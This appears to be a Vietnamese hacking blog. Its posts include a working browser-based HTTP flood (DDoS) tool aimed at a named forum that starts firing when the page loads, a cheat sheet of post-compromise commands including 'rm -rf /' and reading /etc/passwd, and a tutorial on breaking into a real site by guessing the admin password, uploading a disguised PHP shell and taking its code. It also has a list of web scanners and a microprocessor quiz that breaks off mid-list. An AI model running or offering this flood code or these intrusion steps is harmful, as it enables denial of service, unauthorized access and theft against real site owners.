Chủ Nhật, 11 tháng 1, 2015

Code tool Flood Attack - Anonymous

Lưu code html và chạy, sửa victim trong URL: 
<!doctype html public "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="shortcut icon" href="http://ghostclub.info/@/16.ico" type="image/x-icon" />
<title>GhostClub - Power In The World!</title>

<style type="text/css">
<!--
body {
    text-align:center;
    background-color: #2C2C2C;
    font-family:Verdana, Geneva, sans-serif;
    color:#FFF;
}
                                                     Hình ảnh minh họa

.centrado {    width: 1100px; margin-left:auto; margin-right:auto; margin-top:15px; height:650px;}
.left {
    float:left;
    margin-left:10px;}
.van { background-repeat:repeat-x; width:819px; text-align:left; float:left; margin-top:10px;}
.vann {height: auto; width: 819px; text-align:left; margin-left:auto; margin-right:auto;}
.button {
    width:118px;
    height:35px;
    display:block;
    font-family:Tahoma;
    font-size:20px;
    font-weight:bolder;
    color:#fff;
    float:left;
    text-align:center;
    text-decoration:none;
    padding-top:10px;
    margin-left:2px;
}
.Estilo1 {
    color: #000000;
    font-weight: bold;
    font-size: 18px;
}
.Estilo2 {color: #FF0000;}
.Estilo3 {color: #66FF00;}
.Estilo4 {color: #00FFFF;}
.Estilo6 {color: #FFFFFF; font-weight: bold;}
h1 {color:#FFF;}
.vids { height: 765px; width: 640px; overflow: hidden; margin-left:auto; margin-right:auto; }
.embeds { width: 640px; }
-->
</style>
</head>
<body background="http://i1214.photobucket.com/albums/cc491/HackeZ/Typography.jpg">
<div class="centrado">
<div style="width:1100px; overflow:hidden; padding-top:4px; float:left">
<div id="loic" style="z-index:10; width:1100px; margin-bottom:20px; height:770px;">
<div style="margin-left:auto; margin-right:auto">
<font color="lime" size="6"><blink>We Are Trying...To Stop Hack!!!</blink>
</font>
<p>
<div style="position: relative; width: 752px; height: 100%; left: -177px; top: 11px;">

<div style="width: 490px; height: 331px; position: absolute; left: 186px; top: -15px;">

<img alt="LOIC" src="http://ni6.upanh.com/b6.s13.d3/c1af70ca0bada672646409fdbc30a709_41299306.hinhnenloic000012.png" width="979"  /></div>
<div style="width: 323px; height: 73px; position: absolute; left: 427px; top: -1px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Bước 1. Chọn mục tiêu: </legend>
<label>URL: http://diendan.progamethu.com/

<input name="xD" id="targetURL" style="width: 100%;" value="http://diendan.progamethu.com/"/>

</label>

<legend></legend>

</fieldset>
</div>

<div style="width: 240px; height: 100px; position: absolute; left: 876px; top: -8px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Bước 2. Sắn sàng?</legend>
<button id="fireButton" style="background-color:#FF9900; border-color: rgb(255, 255, 255); color: rgb(255, 255, 255); width: 240px; height: 70px;"> Dừng tấn công! </button>

</fieldset>

</div>

<div style="width: 685px; height: 140px; position: absolute; left: 404px; top: 110px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Tùy chọn. Tùy chọn Tấn công? </legend>
<label><span id="result_box"><span title="Requests per second">Request mỗi giây</span></span>: <input style="width: 40px;" id="rps" value="1000" /></label>
<p>
<h4>
MỘT MÓN QUÀ TỪ GHOSTCLUB :))</H4></p>

<label>Lời nhắn:


<input id="message" style="width: 500px;" value="Stop hack now!!! You will die :)." />

</label>

</fieldset>
<div style="width: 676px; height: 163px; position: absolute; left: 0px; top: 167px;">
<fieldset style="width: 100%; height: 100%;">
<legend>Trạng thái Tấn công:</legend>

<dl>
<dt>Requested:</dt>
<dd class="Estilo4" id="requestedCtr">0</dd>
<dt>Succeeded:</dt>
<dd class="Estilo3" id="succeededCtr">0</dd>
<dt>Failed:</dt>
<dd class="Estilo2" id="failedCtr">0</dd>   </dl>

</fieldset>
</div>

</div>

</div>

<script>
        (function () {

            var fireInterval;
            var isFiring = false;
        var currentTime = new Date()
        var lastSuccess = currentTime.getTime();

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {
          
                    if ( (currentTime.getTime()-lastSuccess) > 10000) { //Allow no more than 1000 hung requests
                        return;
                    } else { lastSuccess = currentTime.getTime();};
              
                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods
              
                    img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;
              
                    succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;


                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Tấn công!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Dừng tấn công!";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
            function FireIbero() {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "Tấn công!";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };
//Cambiar Target y descomentar la funcion FireIbero();
document.getElementById("targetURL").value = "http://diendan.progamethu.com/";
FireIbero();

        })();
    </script>
</p>
</div>

</div>
</div>

</div>


<script>var _wau = _wau || []; _wau.push(["tab", "lf1vnhkrsd0x", "38b", "left-middle"]);(function() { var s=document.createElement("script"); s.async=true; s.src="http://widgets.amung.us/tab.js";document.getElementsByTagName("head")[0].appendChild(s);})();</script>

</!doctype></body></html>

Thứ Sáu, 9 tháng 1, 2015

10 Tool Scan lỗ hổng trang web đáng để quan tâm

1. Nikto

Có nhiều tính năng hơn một công cụ Web Scanner.

Là một phần mềm mã nguồn mở với tính năng Web Server Scanner, tính năng kiểm tra các máy chủ Web. Bao gồm hơn 3200 phương thức nhận diện các file, lỗi logic nguy hiểm, hỗ trợ hơn 625 phiên bản Web Server, bao gồm những lỗi trên 230 Web Server khác nhau. Tính năng Scan kết hợp với các Plugins luôn được update tự động đảm bảo đưa ra kết quả đầy đủ và chính xác nhất. Là một công cụ rất hữu hiệu nhưng không được update thường xuyên. Các lỗi mới nhất thường được update chậm và không thể tìm thấy.

Tải về


2. Paros Proxy
Một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng web trên Proxy.

Một trang web trên nền Java thường kết hợp dạng proxy điều đó dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting.

Tải về

3. WebScarab.

Một khung hoạt động cho phép phân tích các ứng dụng giao tiếp sử dụng giao thức HTTP và HTTPS.

Một dạng rất đơn giản, WebScarab lưu các Request và Response cho phép tái sử dụng trong các phiên làm việc khác. WebScarab được thiết kế cho mọi người muốn xem hoạt động của các ứng dụng sử dụng giao thức HTTP(S), tuy nhiên công cụ này cũng cho phép phát triển và sửa những lỗi khó , hoặc cho phép nhận biết những lỗ hổng bảo mật trên các ứng dụng được thiết kế và triển khai.

Tải về

4. WebInspect

Một công cụ tìm kiếm lỗ hổng trên ứng dụng Web rất hiệu quả.

SPI Dynamics’ WebInspect với những công cụ trợ giúp người dùng nhận dạng ra những lỗ hổng bảo mật trên ứng dụng Web. WebInspect có thể giúp kiểm tra các Web Server cấu hình đã chuẩn chưa, và cố gắng thử một vài dạng tấn công như Prameter Injection, Cross-site Scripting, Directory Traversal.

Tải về

5. Whisker/libwhisker

Một công cụ với thư viện mở rất phong phú giúp tìm kiếm các lỗ hổng bảo mật trên ứng dụng Web.

Libwhisker một tính năng của ngôn ngữ Perl – Module cho phép kiểm tra ứng dụng HTTP. Cung cấp những tính năng giúp kiểm tra máy chủ HTTP bằng cách lấy những sự hiểu biết về bảo mật, những nguy cơ tấn công để kiểm tra các lỗ hổng bảo mật. Whisker là một công cụ tìm kiếm lỗ hổng bảo mật sử dụng Libwhisker nhưng giờ có công cụ khác hiệu quả hơn đó là Nikto cũng sử dụng Libwhisker.

Tải về


6. Burpsuite

Kết hợp với ứng dụng để tấn công ứng dụng Web.

Burp cho phép một kẻ tấn công tích hợp nhiều thao tác bằng tay hay những phương pháp tự động để tấn công, phân tích và khai thác các lỗ hổng bảo mật trên ứng dụng Web.

Tải về


7. Wikto

Một tool dùng để đánh giá mức độ bảo mật của máy chủ Web.

Là một tools dùng để kiểm tra các thiếu sót khi cấu hình máy chủ Web Server. Cho phép cung cấp nhiều module khác nhau (nếu tích hợp thêm sẽ phải tốn phí), ví dụ như Back-End Function hay Google Integration. Wikto được viết bằng công nghệ .NET của Microsoft, để download mã nguồn của phần mềm này bạn phải đăng ký trên Web site.

Tải về

8. Acunetix Web Vulnerability Scanner.

Một phiên bản thương mại của chương trình tìm kiếm các lỗ hổng bảo mật trên các ứng dụng Web.

Acunetix WVS tự động kiểm tra các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay Cross-Site Scripting, tìm kiếm những chính sách đối với mật khẩu đăng nhập cũng như các phương thức xác thực vào Web Site. Với giao diện đồ họa thân thiện, những Report đầy đủ cho phép bạn kiểm tra những vấn đề trên máy chủ và ứng dụng Web.

Tải về

9. Watchfire AppScan

Một phiên bản thương mại của chương trình tìm kiếm các lỗ hổng bảo mật trên các ứng dụng Web.

AppScan cho phép kiểm tra những ứng dụng được phát triển trên nền web, dễ dàng kiểm tra và phát hiện lỗ hổng. AppScan kiểm tra nhiều lỗ hổng bảo mật, như Cross-Site Scripting, HTTP Response Spliting, và một vài dạng tấn công phổ biến khác, phát hiện các Trojan và Backdoor đang tồn tại trên máy chủ Web và nhiều hơn nữa.

Tải về


10. N-Stealth

Công cụ Web Scanner.

Là một phiên bản thương mại, ứng dụng cho việc tìm kiếm các lỗ hổng bảo mật trên máy chủ Web. Phần mềm tự động update thường xuyên hơn các phần mềm miễn phí như Whisker/libwhisker hay Nikto, nhưng nhiều lỗi mới trên Web cũng không phát hiện kịp thời và nhanh chóng. Phần mềm bao gồm hơn 30.000 lỗ hổng có thể Scan và khai thác trực tiếp, cùng với hàng tá những cập nhật hàng ngày. Dễ dàng triển khai kết hợp với những 
Scan lỗ hổng bảo mật khác như: Nessus, ISS Internet Scanner, Retina, SAINT và Sara, bao gồm các tính năng khác. N-sealth là phiên bản chỉ dành riêng cho Windows và không thể download Source Code.

Tải về


Thứ Ba, 6 tháng 1, 2015

[New]Một số lệnh hữu dụng khi đã xâm nhập được vào hệ thống có shell

Khi xâm nhập được vào hệ thống có shell(shell gì thì tùy các bạn) và tùy vào mỗi os mà chúng ta xâm nhập mà thực thi lệnh,sau đây là một số lệnh cơ bản khi attack vào hệ thống có shell


Đối với linux


cat ./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.
ls -l -b - Verbosly list directory's


Đối với windowns

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
CALL Call one batch program from another
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
COLOR Change colours of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
CSVDE Import or Export Active Directory data

DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

ECHO Display message on screen
ENDLOCAL End localisation of environment changes in a batch file
ERASE Delete one or more files
EXIT Quit the CMD shell
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FDISK Disk Format and partition
FIND Search for a text string in a file
FINDSTR Search for strings in files
FOR Conditionally perform a command several times
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
GOTO Direct a batch program to jump to a labelled line

HELP Online Help
HFNETCHK Network Security Hotfix Checker

IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MEM Display memory usage
MD Create new folders
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
PROMPT Change the command prompt

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Read, Set or Delete registry keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
REM Record comments (remarks) in a batch file
REN Rename a file or files.
REPLACE Replace or update one file with another
RD Delete folder(s)
RDISK Create a Recovery Disk
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
ScriptIt Control GUI applications
SET Display, set, or remove environment variables
SETLOCAL Begin localisation of environment changes in a batch file
SETX Set environment variables permanently
SHARE List or edit a file share or print share
SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
START Start a separate window to run a specified program or command
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TIME Display or set the system time
TIMEOUT Delay processing of a batch file
TITLE Set the window title for a CMD.EXE session
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

VER Display version information
VERIFY Verify that files have been saved
VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders

Tìm user của victim khi local

Khi local các bạn ít nhiều cũng gặp khó khăn khi tìm path của victim ,bài này mình sẽ chia sẻ 1 chút kinh nghiệm của mình.
Đầu tiên và cũng là cách đơn giản nhất ,đọc file /etc/passwd và đoán user dựa trên domain

cat /etc/passwd

nếu bị server chặn lệnh cat ,bạn thử symlink nó

ln -s /etc/passwd list.txt

hoặc nếu hàm readfile chưa bị disable ,bạn cũng có thể tận dụng nó, tạo 1 file php nội dung như sau

<?php
readfile('/etc/passwd');
?>

Sau đó tiến hành đoán ,user thường giống với domain ,đã loại bỏ kí tự “-” trong domain, đôi khi loại bỏ cả số trong domain.

Cách trên là cơ bản ,nếu domain của victim là domain chính của host ,còn trường hợp là addon domain thì bó tay sao ?
Thử tìm trong logs ,ở đây là error_log ,vào domain victim và tạo ra một error trên trang đó (404 chẳng hạn) rồi tiến hành đọc error_log

tail -1000 /usr/local/apache/logs/error_log

vì các file log này dung lượng rất lớn ,đọc toàn bộ là điểu không khả thi ,chúng ta chỉ cần 1000 dòng cuối cùng trong error_log này ,nó sẽ log cái error mà ta vừa tạo ra trên domain của victim.
Path log trên là khi host dùng cpanel ,đối với directadmin ta có thể tìm được ở /var/log/directadmin/error.log

Trường hợp domain victim dùng mod_rewrite ,tất cả các truy vấn đều hợp lệ thì error_log sẽ không được tạo ra ,thì ta sẽ tiếp tục đọc access_log ,sử dụng lệnh grep để tìm đúng domain mình cần.

grep -i ‘domain.com’ /usr/local/apache/logs/access_log

hoặc lệnh egrep để tìm nhiều domain cùng lúc

egrep -w ‘domain1|domain2|domain3′ /usr/local/apache/logs/access_log

Cuối cùng, cũng là cách mang tính hên xui rất cao nhưng không phải là không được đó là tìm trên google ,search với từ khóa
1

site:domain.com "warning"

và như thế ,bất kì lỗi nào trên website domain.com bị google index đều hiện ra ,và biết đâu trong đó có path của file lỗi ,và thế là ta tìm được user của victim.

Nguồn :Sưu tầm

.TUT. Local Cơ bản cho Newbie

[TUT] Local Cơ bản cho newbie



_Tiếp ngày buồn , bài này chỉ hướng dẫn các NB về cách được gọi là mấy bác nói là "HACK" , ở đây mình chỉ nói đến mức cực cơ bản nhưng chủ yếu là tư duy của các bạn thôi ....





_ Vậy muốn hack thì làm gì ? Mục đích để làm gì ? , ở đây mục đích của mình là lấy CODE mang về chạy làm web thôi , hum bữa mình định làm cái web "Thuê Xe Du Lịch" ,chắc cũng chỉ biết lên google tìm từ khóa"Thuê Xe Du Lịch"

_Mình thấy site http://thuexedulich.com.vn/ khá là đẹp  , Mục đích đã rõ giờ việc đầu tiên là xem nó làm bằng mã nguồn gì , xem đi xem lại đây là mã nguồn do CTY abc gì đó viết chả biết  , tiếp theo là tìm xem server nó có nhiều web để khai thác lỗi không ( reverser ip)

_ Chúng ta có 41 websites trên 112.213.86.157 Server 112.213.86.157, Ngon 

Ngon thiệt ấy , Giờ check xem từng sirte 1 một , với tất cả các THỦ ĐOẠN ( Đoán pass,SQL injection.vvvv)
_Mình check từ dưới Check lên , đoán bừa pass admin/12345 ai zè nó thế này đây @@

_Đúng là Việt Nam có khác  , giờ công việc tiếp theo là Upload Shell ,cách up shell thì khá nhiều ( thêm gif89 zô source ,change file.php.gif vvv...) , giờ tìm chỗ cho nó đục lỗ nào..."Sản Phẩm" <-- chỗ này cho phép upload ảnh đây , save con shell tmt.php.gif up thử xem thế nào

_Giờ chạy link xem
 
_haha 1 con shell to đùng với đống info sau
Safe_mod: OFF - PHP version: 5.2.17 - cURL: ON - MySQL: ON - MSSQL: OFF - PostgreSQL: OFF - Oracle: OFF
Disable functions : exec,passthru,shell_exec,system,proc_open,popen,cu rl_exec,curl_multi_exec,parse_ini_file,show_source
Uname -a: Linux vps86157.vn 2.6.18-238.el5 #1 SMP Thu Jan 13 16:24:47 EST 2011 i686
Server: - id: 48(apache) - uid=48 (apache) gid=48(apache) 
_ Việc tiếp theo là tìm PATH của nó "cat /etc/pass" sẽ ra 1 đống , Với quyền apache này thì cách local khá đơn giản với lại thằng chủ server cài đặt koloxo lên mức độ bảo mật kém



_Đến đây là quá đơn giản rồi ko cần phải viết tiếp nữa...chúc các NB lấy đc nhiều code 

Thứ Hai, 5 tháng 1, 2015

110 Câu hỏi trắc nghiệm môn Vi xử lý

Câu hỏi ôn tập: KT VI XỬLÝ

STT
Nội dung câu hỏi
1         
 Bộ Vi xử lý là ?
A. Một vi mạch số                                      
B. Một vi mạch tương tự
C. Một hệ thống các vi mạch số               
D. Một hệ thống các vi mạch tương tự
2         
Hệ thống Vi xử lý bao gồm bao nhiêu khối chức năng chính ?
A.  1                        
 B. 2
C. 3                    
D. 4            
3
Trong bảng mã ASCII một kí tự được mã hóa bằng mấy bít
A.     5 bít
B.      6 bít
C.      7 bít
D.     8 bít

4
Chuyển số 16(H) sang hệ nhị phân
A.     0010110(B)
B.      0001011(B)
C.      0011010(B)
D.     0010111(B)
5
BIOS được các nhà sản xuất nạp vào:
A.ROM
B. RAM
C. Ổ đĩa cứng
D. Ổ đĩa khởi động
6
Mã ASCII của các kí tự thường (từ a đến z)và của các ký tự hoa (từ A đến Z) cách nhau:
A. 20 đơn vị
B. 10 đơn vị
C. 32 đơn vị
D. 16 đơn vị
7
Khi  khởi động, vi xử lý sẽ đọc dữ liệu ở đâu trước tiên
A. Ổ đĩa cứng
B. Đĩa khởi động
C. ROM
D. RAM
8
Khái niệm về phần cứng của máy tính:
A. Là toàn bộ các thiết bị điện tử, cơ khí cấu thành nên máy tinh
B. Là CPU, Main, RAM, các ổ đĩa và các thiết bị ngoai vi
C. Là toàn bộ các thiết bị điện, điện tử cấu thành nên máy tinh
D. Là các bộ phận hữu hình cấu thành nên máy tinh
9
Cấp nào của bộ nhớ có dung lượng lớn nhất:

A.Cấp 1, bộ nhớ ROM
B. Cấp 2, bộ nhớ RAM
C. Câp 3, các ổ đĩa ngoài
D. Cấp 4, bộ nhớ mạng
10
Số lần ghi của ROM là:
A. 1 lần
B. Vài trăm lần
C. Vài nghìn lần      
D. Tùy loại ROM
11
Thực hiện phép cộng sau: 16(D)+ 20(H)
A. 41(D)
B. 30(H)
C. 32(D)
D. 30(D)      
12
Một bộ vi xử lý có thể được coi là
A.   Một vi mạch tích hợp cỡ lớn

B.Một máy tính điện tử cỡ nhỏ
C.Một bộ điều khiển số học

D. Một bộ xử lý số học
13
Khái niệm về Main máy tính có thể được hiểu là
A. Một bảng mạch điện tử cỡ lớn
B. Một bảng mạch chính trên đó tích hợp các khối phối hợp vào/ra
C. Một bảng mạch chính trên đó tích hợp các BUS của máy tính

E.   Tất cả các đáp án trên
14
Thực hiện các phép tính sau: 23E(H)+ BFD(H)
A.    3EB(H)
B.     3HE(H)
C.     E3B(H)
D.    4FD(H)
15
Thực hiện phép tính sau: 7A(H) + 3F(H) =
A.    B9(H)
B.     A8(H)
C.     B7(H)
D.    9F9(H)
16
Kết quả của phép tính: 2A(H)+51(H) là
A.    7B(H)
B.     8B(H)
C.     70(H)
D.    7D(H)
17
Cần bao hiêu byte để tạo thành 1 Word 32 bit
A.    1
B.     2
C.     3
D.    4
18
Giá trị 22H chuyển sang hệ nghị phân là:
A.    100010(B)
B.     100011B
C.     110010B
D.    110001B
19
Giá trị 32D chuyển sang hệ nghị phân là:
A.    100000b
B.     101000b
C.     10110b
D.    110000b
20
Hãy thực hiện phép tính sau theo hệ nhị phân và chọn kết quả đúng 1101 + 1001
A.    10110
B.     11010
C.     10010
D.    10011
21
Tìm đáp án đúng cho dạng chuyển đổi của 59D sang dạng BCD
A.    0101 1001
B.     1101 1010
C.     1010 1001
D.    1100 110
22
Tìm đáp án đúng cho phép chuyển đổi số 59D sang dạng nhị phân
A.    111011
B.     110011
C.     101101
D.    110110
23
Tìm đáp án đúng cho phép chuyển đổi 11,25d sang hệ nhị phân
A.    1011,01b
B.    1011,11b
C.   1101,01b
D.   1010,01b
24
Tìm đáp án đúng cho phép toán sau: 24F60 + 634A
A.    2B2AA
B.    2B2BA
C.   A2AAB
D.   2A2AA
25
Tìm đáp án đúng cho phép cộng sau: 24F60 + FFFF
A.    34F5F
B.    35F6F
C.   34FDF
D.   33F5F
26
Tìm đáp án đúng cho phép cộng sau: 45FD0 + 002F
A.    45FFF
B.    45FDF
C.   45FCF
D.   45EFF
27
Tìm kết quả đúng cho phép chuyển đổi 64D sang dạng BCD
A.    0110 0100
B.    1110 0100
C.   1000 0100
D.   0100 0100
28
Tìm kết quả đúng cho phép cộng sau: 9CH + 64H
A.    100H
B.    111H
C.   110H
D.   101H
29
Tìm kết quả đúng cho phép toán sau: 11011b - 10110b
A.    101b
B.    100b
C.   111b
D.   011b
30
tìm kết quả đúng cho phép toán sau: 57FDh+136Bh
A.    6B69h
B.    6A69h
C.   6B59h
D.   6B79h
31
Tìm kết quả đúng của phép chuyển đổi sau: 72,125D sang hệ nhị phân
A.    1001000,001
B.    1001000,010
C.   1000100,001
D.   1001000,011
32
Hệ thập phân dùng bao nhiêu chữ số để biểu diễn giá trị
  1. 8
  2. 9
  3. 10
  4. 11
33
Hệ thập phân là hệ đếm có cơ số là:
A.   8
B.   9
C.   10
D.   11
34
Đôi khi người ta viết thêm chữ cái nào sau đây ở cuối để chỉ rằng một số là số hệ 10
  1. A
  2. B
  3. C
  4. D
35
Hệ nhị phân dùng bao nhiêu chữ số để biểu diễn giá trị số:
  1. 1
  2. 2
  3. 3
  4. 4
36
Hệ nhị phân là hệ đếm có cơ số là:
A.  1
B.  2
C.  3
D.  4
37
Số hệ nhị phân có thêm chữ cái gì ở cuối để phân biệt
A.    A
B.     H
C.     D
D.    B
38
1 byte = bao nhiêu bit
  1. 6
  2. 8
  3. 10
  4. 12
39
1 word =  bao nhiêu bit
  1. 8
  2. 16
  3. 20
  4. 32
40
1 double word = bao nhiêu bit
  1. 8
  2. 16
  3. 20
  4. 32
41
Đổi số 175D sang hệ 2
A.  10101111B
B.  10001101B
C.  10001011B
D.  10101011B
42
Số 560 ở hệ 10 nếu được biểu diễn theo kiểu số BCD sẽ là:
A.  0101.0110.0000BCD
B.  0101.0110.0010BCD
C.  0101.0000.0110BCD
D.  0101.0110.0110BCD
43
Hệ mười sáu dùng bao nhiêu chữ số và bao nhiêu chữ cái để biểu diễn một số:
A.  10 chữ số và 6 chữ cái
B.  9 chữ số và 6 chữ cái
C.  8 chữ số và 6 chữ cái
D.  9 chữ số và 5 chữ cái
44
Hệ mười sáu có cơ số là:
  1. 6
  2. 16
  3. 26
  4. 10
45
Người ta viết thêm chữ cái gì ở cuối để chỉ rằng một số là số hệ 16
  1. A
  2. B
  3. D
  4. H
46
Mã hóa số hệ 2 sau đây: 1111.1110.0101.0001B
dùng các chữ số hệ 16
  1. FE51H
  2. FD51H
  3. FE41H
  4. F451H
47
